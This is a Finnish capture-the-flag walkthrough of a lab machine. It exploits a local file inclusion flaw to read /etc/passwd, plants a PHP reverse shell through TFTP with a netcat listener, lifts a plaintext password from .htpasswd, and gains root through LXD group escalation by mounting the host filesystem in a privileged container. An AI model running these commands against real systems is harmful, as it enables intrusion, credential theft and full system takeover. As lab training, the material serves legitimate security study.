Huom. kohteen IP-osoite vaihtuu tehtävässä, koska harjoitusta tehty eri kerroilla.
User flag
Kohteen Nmap-skannauksesta huomataan, että kohteessa on ainoastaan portti 80 (HTTP) avoinna.
Selaimella aukaistu kohteen IP-osoite. Osoiteriviltä huomataan file -muuttuja: file=home.php
Selaimessa kokeiltu päästäänkö tarkastelemaan /etc/passwd -hakemistoa syöttämällä osoiteriville: http://{target_ip}/?file=../../../../../../etc/passwd
Sama toiminto komentorivillä: curl “http://10.129.11.49/?file=/etc/passwd”
Onnistuneesti päästy tarkastelemaan kohteen käyttäjälistaa, joten kohde on altis Local File Inclusion (LFI) -haavoittuvuudelle. Huomataan, että listan viimeinen käyttäjä on tftp
TFTP (Trivial File Transfer Protocol) on tiedostonsiirtoprotokolla, joka toimii UDP:n päällä.
Tehty kohteeseen Nmap UDP-skannaus (-sU) porttiin 69 (TFTP yleensä käynnissä portissa 69). Huomataan, että UDP-portti 69 on avoinna, ja siinä on käynnissä TFTP-palvelin.
Reverse Shellin muodastamista varten ladataan kohteeseen php-reverse-shell.php -tiedosto, joka löytyy Kali Linuxista hakemistosta: /usr/share/webshells/php/php-reverse-shell.php
Muokattu php-reverse-shell.php -tiedostoon oma tun0 IP-osoite ja portti 4444.
Otettu TFPT-yhteys kohteeseen ja ladattu kohteeseen put -komennolla php-reverse-shell.php -tiedosto.
Käynnistetty Netcat-kuuntelija porttiin 4444 (portti, joka merkittiin php-reverse-shell.php -tiedostoon).
Curl -komennolla haettu ladattu php-reverse-shell.php -tiedosto, joka löytyy hakemistosta /var/lib/tftpboot/ (lähde).
Netcat-kuuntelija yhdisti kohteeseen, ja otettu TTY-shell käyttöön komennolla: python3 -c ‘import pty; pty.spawn(“/bin/bash”)‘
Hakemistosta /var/www/html löytyi tiedostot .htaccess ja .htpasswd
.htpasswd -tiedostossa on tallennettu HTTP-käyttäjien käytäjätunnukset ja salasanat.
Luettu molempien tiedostojen .htaccess ja .htpasswd sisältö. Tiedostosta .htpasswd löytyi käyttäjän mike salasana Sheffield19
Onnistuneesti kirjauduttu sisään käyttäjänä mike käyttäen salasanaa Sheffield19. User flag löytyi hakemistosta /home/mike.
Root flag
Tarkistetaan, minkä ryhmien jäsenenä käyttäjä mike on, ja huomataan, että mike kuuluu LXD-ryhmään, joka on korkean käyttöoikeuden ryhmä Linuxissa.
HackTricks artikkelin mukaan LXD-ryhmässä on haavoittuvuus, jota on mahdollista hyödyntää. Asennetaan artikkelissa mainitut tarvittavat lisäosat:
Go-ohjelmointikielen asennus: sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
LXC Distribution Builderin lataus ja tekeminen:
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make
Alpine YAML:n lataaminen ja tekeminen:
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Alpine YAML:n tekemisen jälkeen tarvittavat tiedostot lxd.tar.xz ja rootlet.squashfs löytyvät samasta kansiosta: distrobuilder/ContainerImages/alpine.
Käynnistetty samassa kansiossa Python HTTP-palvelin komennolla: python3 -m http.server 8000
Reverse Shellissä ladattu tiedostot lxd.tar.xz ja rootlet.squashfs komennoilla:
wget http://{your_tun0_ip}:8000/lxd.tar.xz
wget http://{your_tun0_ip}:8000/rootfs.squashfs
Python HTTP-palvelimelta huomatttiin, että tiedostot siirtyivät onnistuneesti kohteeseen.
Varmistettu vielä Reverse Shellissä, että tiedostot lxd.tar.xz ja rootlet.squashfs ovat kohteessa.
LXC image tuotu kohteessa komennolla: lxc image import lxd.tar.xz rootfs.squashfs –alias alpine ja tarkistettu komennolla lxc image list että imagen tuonti onnistui. Huomataan, että Alpine näkyy onnistuneesti image listauksessa.
Asetettu security.privileged flag todeksi komennolla: lxc init alpine privesc -c security.privileged=true, jotta containerilla on kaikki oikeudet, jotka root-tiedostojärjestelmällä on. Root-tiedostojärjestelmä kiinnitetty containeriin /mnt -kansiossa komennolla: lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Container käynnistetty komennolla: lxc start privesc ja root-shell komennolla: lxc exec privesc /bin/sh
Root-flag löytyi hakemistosta /mnt/root/root